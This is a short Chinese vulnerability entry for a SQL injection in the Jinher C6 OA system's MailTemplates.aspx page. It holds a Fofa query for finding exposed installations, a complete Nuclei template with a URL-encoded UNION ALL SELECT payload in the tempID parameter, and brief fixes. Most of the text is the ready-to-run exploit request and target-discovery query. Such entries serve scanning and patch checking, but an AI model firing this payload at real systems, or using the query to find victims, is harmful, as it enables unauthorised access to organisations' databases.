# 金和-c6 mailtemplates-aspx sql注入

## 漏洞描述

金和-c6 mailtemplates-aspx sql注入,攻击者可通过此漏洞获取数据库敏感信息，从而为下一步攻击做准备。

## 漏洞复现

1. Fofa

app="金和网络-金和OA"



1. 界面如下



1. Nuclei

id: jinher-C6-MailTemplates-sqli

info:

name: jinher-C6-MailTemplates-sqli

author: m0be1

severity: high

http:

- raw:

- |

GET /C6/JHSoft.Web.Mail/MailTemplates.aspx/?tempID=1%20UNION%20ALL%20SELECT%20CHAR%28113%29%2BCHAR%28120%29%2BCHAR%28106%29%2BCHAR%28118%29%2BCHAR%28113%29%2BISNULL%28CAST%28111%2A111%20AS%20NVARCHAR%284000%29%29%2CCHAR%2832%29%29%2BCHAR%28113%29%2BCHAR%28120%29%2BCHAR%28122%29%2BCHAR%2898%29%2BCHAR%28113%29%2CNULL%2CNULL--%20JtXl HTTP/1.1

Host: {{Hostname}}

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10\_15\_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36

Connection: close

matchers:

- type: dsl

dsl:

- 'status\_code==200 && contains\_all(body,"12321")'

## 修复建议

1. 升级到安全版本

2、如非必要，禁止公网访问该系统。

3、设置白名单访问。